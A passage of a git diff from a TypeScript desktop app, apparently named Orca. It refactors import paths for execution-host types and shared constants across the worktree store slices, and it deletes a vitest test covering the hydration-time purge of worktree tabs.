a/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts +++ b/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts @@ -5,7 +5,7 @@ import { confirmCreatedWorktreeSetupContent } from '@/runtime/repo-hooks/ensure- import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import { runtimeEnvironmentSupportsCapability } from '@/runtime/rpc/compatibility/runtime-capability-proof' import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { WORKTREE_RUN_APPROVED_SETUP_RUNTIME_CAPABILITY, diff --git a/src/renderer/src/store/slices/worktrees/create/created-worktree-state-merge.ts b/src/renderer/src/store/slices/worktrees/create/created-worktree-state-merge.ts index 4f1b863bcce..a0bf79dffff 100644 --- a/src/renderer/src/store/slices/worktrees/create/created-worktree-state-merge.ts +++ b/src/renderer/src/store/slices/worktrees/create/created-worktree-state-merge.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeSliceSet } from '../listing/worktree-slice-types' import { appliedWorktreeCatalogVersionPatch } from '../listing/worktree-catalog-version-state' import type { CreateWorktreeResult } from '../../../../../../shared/worktree/create-types' diff --git a/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx b/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx index ba4ece3a34a..c28bd0cce72 100644 --- a/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx +++ b/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx @@ -6,7 +6,7 @@ import { getKeepLocalMainUpToDateTitle } from '@/components/settings/source-cont import { translate } from '@/i18n/i18n' import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name' import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { LocalBaseRefRefreshResult } from '../../../../../../shared/worktree/base-refs/base-ref-drift-types' import type { Worktree } from '../../../../../../shared/worktree/types' diff --git a/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts b/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts index dec1c2b0431..da804337a38 100644 --- a/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts +++ b/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts @@ -17,8 +17,8 @@ import { isWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import { resolveReviewRepository } from '@/lib/source-control/review/review-owner' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { findFolderWorkspaceRecord } from '../../../folder-workspaces/folder-workspace-record-index' import { selectFolderWorkspaces, diff --git a/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts index e279a672866..715971aae8e 100644 --- a/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts +++ b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts @@ -8,7 +8,7 @@ import type { CreateWorktreeArgs, CreateWorktreeResult } from '../../../../../../shared/worktree/create-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import type { CrossStoreInferredSource, diff --git a/src/renderer/src/store/slices/worktrees/create/worktrees-create-captured-host.test.ts b/src/renderer/src/store/slices/worktrees/create/worktrees-create-captured-host.test.ts index 2f58c679130..be878d8dc13 100644 --- a/src/renderer/src/store/slices/worktrees/create/worktrees-create-captured-host.test.ts +++ b/src/renderer/src/store/slices/worktrees/create/worktrees-create-captured-host.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { makeWorktree } from '../worktree.test-fixture' import { diff --git a/src/renderer/src/store/slices/worktrees/listing/authoritative-worktree-removal-memory.ts b/src/renderer/src/store/slices/worktrees/listing/authoritative-worktree-removal-memory.ts index 8f4e721ecdf..89e9a154832 100644 --- a/src/renderer/src/store/slices/worktrees/listing/authoritative-worktree-removal-memory.ts +++ b/src/renderer/src/store/slices/worktrees/listing/authoritative-worktree-removal-memory.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { AUTHORITATIVE_REMOVAL_MEMORY_LIMIT } from './worktree-slice-constants' // Bridge async durable SSH-metadata deletion with session suppression; reloads rely on actual metadata retirement. diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-head-identity.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-head-identity.ts index f64e8302d1e..6102e712c17 100644 --- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-head-identity.ts +++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-head-identity.ts @@ -2,7 +2,7 @@ import type { DetectedWorktree, WorktreeHeadIdentity } from '../../../../../../shared/worktree/types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import type { AppState } from '../../../types' import { findWorktreeByPath } from '../../../../hooks/worktree-head-identity-apply' import { deriveGitIdentityDisplayName } from '../metadata/detached-head-display-name' diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-host-merge.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-host-merge.ts index c044fdc3f08..6faf7bbec11 100644 --- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-host-merge.ts +++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-host-merge.ts @@ -3,7 +3,7 @@ import type { DetectedWorktree, DetectedWorktreeListResult } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { sanitizeHostedReviewLinksForBranchClears } from '../metadata/hosted-review-link-mutation' import { mergeWorktreesForHost, diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts index 8b4244c58bb..ecadb87dac2 100644 --- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts +++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts @@ -9,7 +9,7 @@ import { LOCAL_EXECUTION_HOST_ID, getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../../shared/sidebar-list/feed/sidebar-inputs-switch' import { diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-provider-request.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-provider-request.ts index ccee1efee25..3a84b39cc78 100644 --- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-provider-request.ts +++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-provider-request.ts @@ -6,7 +6,7 @@ import { getRuntimeEnvironmentConnectionGeneration } from '../../runtime-status/ import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { DetectedWorktreeListResult } from '../../../../../../shared/worktree/types' import type { RuntimeWorktreeListResult } from '../../../../../../shared/worktree/catalog/runtime-worktree-contracts' import type { diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-admission.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-admission.ts index 0691688977f..b37f222bbe0 100644 --- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-admission.ts +++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh-admission.ts @@ -2,7 +2,7 @@ import { getEnvironmentSshStateGeneration } from '../../ssh/runtime-environment- import { getRuntimeEnvironmentConnectionGeneration } from '../../runtime-status/runtime-status-connection-generation' import type { AppState } from '../../../types' import type { HostQualifiedDetectedWorktreeResult } from '../../../../../../shared/worktree/catalog/detected-worktree-provider-contract' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AdmittedDetectedWorktreeRefresh } from './worktree-slice-types' import { directSshAuthoritiesEqual, getCurrentDirectSshAuthority } from './direct-ssh-authority' import { isStaleWorktreeCatalogPublication } from './worktree-catalog-version-state' diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts index 6cda2bc0539..09c67a9e3ca 100644 --- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts +++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-refresh.ts @@ -8,7 +8,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { DetectedWorktreeListResult } from '../../../../../../shared/worktree/types' import type { HostQualifiedDetectedWorktreeResult, diff --git a/src/renderer/src/store/slices/worktrees/listing/direct-ssh-authority.ts b/src/renderer/src/store/slices/worktrees/listing/direct-ssh-authority.ts index 90a1a4dfd65..c69522aedc2 100644 --- a/src/renderer/src/store/slices/worktrees/listing/direct-ssh-authority.ts +++ b/src/renderer/src/store/slices/worktrees/listing/direct-ssh-authority.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import type { DirectSshAuthority } from '../../../../../../shared/remote-runtime/ssh/ssh-types' import type { AppState } from '../../../types' diff --git a/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts b/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts index 6cb9f416df0..587d5576808 100644 --- a/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts +++ b/src/renderer/src/store/slices/worktrees/listing/fetch-all-worktrees.ts @@ -4,7 +4,7 @@ import type { WorktreeSliceGet, WorktreeSliceSet } from './worktree-slice-types' import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getCurrentDirectSshAuthority } from './direct-ssh-authority' import { listDetectedWorktreesForRepoCoalesced } from './detected-worktree-refresh' import { diff --git a/src/renderer/src/store/slices/worktrees/listing/fetch-detected-worktrees.ts b/src/renderer/src/store/slices/worktrees/listing/fetch-detected-worktrees.ts index ec55c181a80..fb57cdcdce3 100644 --- a/src/renderer/src/store/slices/worktrees/listing/fetch-detected-worktrees.ts +++ b/src/renderer/src/store/slices/worktrees/listing/fetch-detected-worktrees.ts @@ -5,7 +5,7 @@ import { isStaleWorktreeCatalogPublication } from './worktree-catalog-version-state' import type { WorktreeSliceGet, WorktreeSliceSet } from './worktree-slice-types' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { findRepoForHost } from '../../../repos/repo-host-identity' import { getCurrentDirectSshAuthority } from './direct-ssh-authority' import { listDetectedWorktreesForRepoCoalesced } from './detected-worktree-refresh' diff --git a/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts b/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts index c66bcf4499b..71e40052115 100644 --- a/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts +++ b/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts @@ -8,7 +8,7 @@ import { LOCAL_EXECUTION_HOST_ID, getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { findRepoForHost } from '../../../repos/repo-host-identity' import { getCurrentDirectSshAuthority } from './direct-ssh-authority' import { listDetectedWorktreesForRepoCoalesced } from './detected-worktree-refresh' diff --git a/src/renderer/src/store/slices/worktrees/listing/hydrated-worktree-purge.ts b/src/renderer/src/store/slices/worktrees/listing/hydrated-worktree-purge.ts index f55101b8065..8f44f3b9901 100644 --- a/src/renderer/src/store/slices/worktrees/listing/hydrated-worktree-purge.ts +++ b/src/renderer/src/store/slices/worktrees/listing/hydrated-worktree-purge.ts @@ -1,6 +1,6 @@ import { runAsAutomaticDeselection } from '@/store/workspaces/selection/active-worktree-deselection-intent' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { folderWorkspaceKey, parseWorkspaceKey diff --git a/src/renderer/src/store/slices/worktrees/listing/known-ssh-worktree-fetch.ts b/src/renderer/src/store/slices/worktrees/listing/known-ssh-worktree-fetch.ts index 3baaf4fa0be..b9cb4c58f55 100644 --- a/src/renderer/src/store/slices/worktrees/listing/known-ssh-worktree-fetch.ts +++ b/src/renderer/src/store/slices/worktrees/listing/known-ssh-worktree-fetch.ts @@ -20,7 +20,7 @@ import { getCurrentDirectSshAuthority } from './direct-ssh-authority' import { isDetectedWorktreeListResult } from './detected-worktree-provider-request' import { getAuthoritativelyRemovedWorktreeIds } from './authoritative-worktree-removal-memory' import type { WorktreeHostMatchOptions } from './worktree-slice-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function appendMissingWorktreesForHost< T extends { id: string; hostId?: ExecutionHostId; runtimeOwnerEnvironmentId?: string } diff --git a/src/renderer/src/store/slices/worktrees/listing/owner-host-sidebar-inputs.ts b/src/renderer/src/store/slices/worktrees/listing/owner-host-sidebar-inputs.ts index 5354c118f68..55a0a0ac6e8 100644 --- a/src/renderer/src/store/slices/worktrees/listing/owner-host-sidebar-inputs.ts +++ b/src/renderer/src/store/slices/worktrees/listing/owner-host-sidebar-inputs.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { WORKSPACE_UNREAD_HOST_RAISES_CAPABILITY } from '../../../../../../shared/worktree/metadata/workspace-unread-raise-capability' import { readCachedRuntimeEnvironmentCapability } from '@/runtime/rpc/compatibility/runtime-compatibility-cache' import { runtimeEnvironmentSupportsCapability } from '@/runtime/rpc/compatibility/runtime-capability-proof' diff --git a/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-coverage.ts b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-coverage.ts index a474d2c9e1c..7b9aa181dd0 100644 --- a/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-coverage.ts +++ b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-coverage.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import type { WorkspaceMetadataCursor } from '../../../../../../shared/worktree/metadata/workspace-metadata-set' import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments' diff --git a/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-recovery.ts b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-recovery.ts index 938afa9f88c..ebf9acd5664 100644 --- a/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-recovery.ts +++ b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-recovery.ts @@ -1,7 +1,7 @@ import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { WorktreeFetchOptions } from './worktree-fetch-options' type FetchWorktrees = (repoId: string, options: WorktreeFetchOptions) => Promise diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-catalog-version-state.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-catalog-version-state.ts index bbb9a76b364..bb018c9da8f 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-catalog-version-state.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-catalog-version-state.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { isWorktreeCatalogVersion, isWorktreeCatalogVersionBefore, diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts index 459b2145266..fbde28a1595 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { SshExecutionHostId } from '../../../../../../shared/worktree/catalog/detected-worktree-provider-contract' import type { DirectSshAuthority } from '../../../../../../shared/remote-runtime/ssh/ssh-types' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts index b477ee963b9..e5bc38e64b0 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts @@ -11,7 +11,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { toVisibleWorktree } from './worktree-catalog-visibility' import { getPairedWebClientEnvironmentId } from '@/app-shell/platform/paired-web-client-host' import type { WorktreeHostMatchOptions, RepoHostSummary } from './worktree-slice-types' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-listing-branch-switch.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-listing-branch-switch.ts index 6722b18786f..ff016107398 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-listing-branch-switch.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-listing-branch-switch.ts @@ -1,5 +1,5 @@ import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { forgetDetachedOwner } from '../metadata/detached-hosted-review-owners' import { worktreeCopyOwnerKey } from '../metadata/worktree-copy-review-clear' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-meta-host-match.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-meta-host-match.ts index 48bfc3ee7b8..612ffbafd5e 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-meta-host-match.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-meta-host-match.ts @@ -1,7 +1,7 @@ import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' /** Match unstamped rows as local like findKnownWorktreeById or optimistic renames silently wait for refetch. */ export function worktreeRowMatchesMetaHost( diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-metadata-set-patch.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-metadata-set-patch.ts index 16a3a177f5d..0eedb17cfb8 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-metadata-set-patch.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-metadata-set-patch.ts @@ -1,7 +1,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import type { WorkspaceMetadataSet } from '../../../../../../shared/worktree/metadata/workspace-metadata-set' import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts index ea9f7fa81d5..714175bcebb 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts @@ -1,7 +1,7 @@ import { tryRuntimeTargetForWorktreeOwner } from './worktree-owner-target' import { warnAmbiguousOwnerOnce } from '@/lib/workspace/ownership/ambiguous-owner-warning' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AppState } from '../../../types' import { worktreeHostMatchOptions, worktreeMatchesHost } from './worktree-host-ownership' import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts index 03e5229d38c..1d4a9e75185 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { resolveOwner, runtimeTargetForWorkspaceOwner diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-options.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-options.ts index d2c6046edfc..5d4248263e9 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-options.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-options.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type WorktreeRefreshAllOptions = { hydrationPurge?: 'allow' | 'defer' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-result.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-result.ts index b5250a59d94..ffae3842a7b 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-result.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-refresh-result.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AdmittedDetectedWorktreeRefresh } from './worktree-slice-types' export type WorktreeRefreshResult = { diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts index cd246de3316..ef0f30b4b75 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts @@ -8,7 +8,7 @@ import type { Worktree } from '../../../../../../shared/worktree/types' import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { DirectSshAuthority } from '../../../../../../shared/remote-runtime/ssh/ssh-types' import type { HostQualifiedDetectedWorktreeResult } from '../../../../../../shared/worktree/catalog/detected-worktree-provider-contract' import type { ProjectHostSetup } from '../../../../../../shared/project/project-types' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-sort-order-patch.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-sort-order-patch.ts index 58702cb299d..dc43ab3f997 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-sort-order-patch.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-sort-order-patch.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeSortOrderUpdate } from '../../../../../../shared/worktree/metadata/sort-order-update' import type { AppState } from '../../../types' import { worktreeHostMatchOptions, worktreeMatchesHost } from './worktree-host-ownership' diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-visibility-defaults-by-host.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-visibility-defaults-by-host.ts index 750f2719a3d..e9367b44535 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktree-visibility-defaults-by-host.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktree-visibility-defaults-by-host.ts @@ -1,9 +1,9 @@ import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +} from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Repo, WorktreeVisibilityDefaults diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-detected-listing-fixtures.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-detected-listing-fixtures.ts index 6b3f5822eea..3f450998c40 100644 --- a/src/renderer/src/store/slices/worktrees/listing/worktrees-detected-listing-fixtures.ts +++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-detected-listing-fixtures.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import type { DetectedWorktreeListResult, Worktree } from '../../../../../../shared/worktree/types' import type { DirectSshAuthority, diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts deleted file mode 100644 index 70ea36736d4..00000000000 --- a/src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts +++ /dev/null @@ -1,208 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { AppState } from '../../../types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' -import { makeWorktree } from '../worktree.test-fixture' -import { - createTestStore, - resetRemoteRuntimeMocks, - resetWorktreeSliceModuleMemory, - worktreeListMock -} from '../worktrees-slice-test-harness' - -const requestWorktreeBaseFallbackNotice = vi.hoisted(() => vi.fn()) - -vi.mock('sonner', () => ({ - toast: { - warning: vi.fn(), - info: vi.fn(), - success: vi.fn(), - error: vi.fn(), - dismiss: vi.fn() - } -})) - -vi.mock('@/components/worktree-base-fallback-notice', () => ({ - requestWorktreeBaseFallbackNotice -})) - -beforeEach(resetWorktreeSliceModuleMemory) - -// Why: design §4.4 — hydration purge gated on per-repo success (F1 regression) so a git error can't wipe tabsByWorktree. -describe('fetchAllWorktrees hydration-time purge (design §4.4)', () => { - beforeEach(() => { - vi.clearAllMocks() - resetRemoteRuntimeMocks() - }) - - const repoA = { - id: 'repoA', - path: '/repos/a', - displayName: 'a', - badgeColor: '#000', - addedAt: 0 - } - const repoB = { - id: 'repoB', - path: '/repos/b', - displayName: 'b', - badgeColor: '#111', - addedAt: 0 - } - - it('defers the purge when a sibling repo fetch fails (F1 regression)', async () => { - const store = createTestStore() - const wtA = makeWorktree({ id: 'repoA::/a/wt1', repoId: 'repoA', path: '/a/wt1' }) - const wtB = makeWorktree({ id: 'repoB::/b/wt1', repoId: 'repoB', path: '/b/wt1' }) - - // repoA succeeds, repoB throws; a stale tabsByWorktree entry must NOT be purged while any repo fetch is degraded. - worktreeListMock.mockImplementation(async ({ repoId }: { repoId: string }) => { - if (repoId === 'repoA') { - return [wtA] - } - throw new Error('git error') - }) - - store.setState({ - repos: [repoA, repoB], - worktreesByRepo: { repoB: [wtB] }, - tabsByWorktree: { - 'repoA::/a/stale': [{ id: 'tab-A-stale', worktreeId: 'repoA::/a/stale' }], - 'repoB::/b/wt1': [{ id: 'tab-B', worktreeId: 'repoB::/b/wt1' }] - } - } as unknown as Partial) - - await store.getState().fetchAllWorktrees() - - expect(store.getState().hasHydratedWorktreePurge).toBe(false) - expect(store.getState().tabsByWorktree).toEqual({ - 'repoA::/a/stale': [{ id: 'tab-A-stale', worktreeId: 'repoA::/a/stale' }], - 'repoB::/b/wt1': [{ id: 'tab-B', worktreeId: 'repoB::/b/wt1' }] - }) - - // After repoB recovers, the deferred purge fires for genuinely stale ids. - worktreeListMock.mockImplementation(async ({ repoId }: { repoId: string }) => { - if (repoId === 'repoA') { - return [wtA] - } - return [wtB] - }) - - await store.getState().fetchAllWorktrees() - - expect(store.getState().hasHydratedWorktreePurge).toBe(true) - expect(store.getState().tabsByWorktree).toEqual({ - 'repoB::/b/wt1': [{ id: 'tab-B', worktreeId: 'repoB::/b/wt1' }] - }) - }) - - it('preserves floating workspace state while purging a real 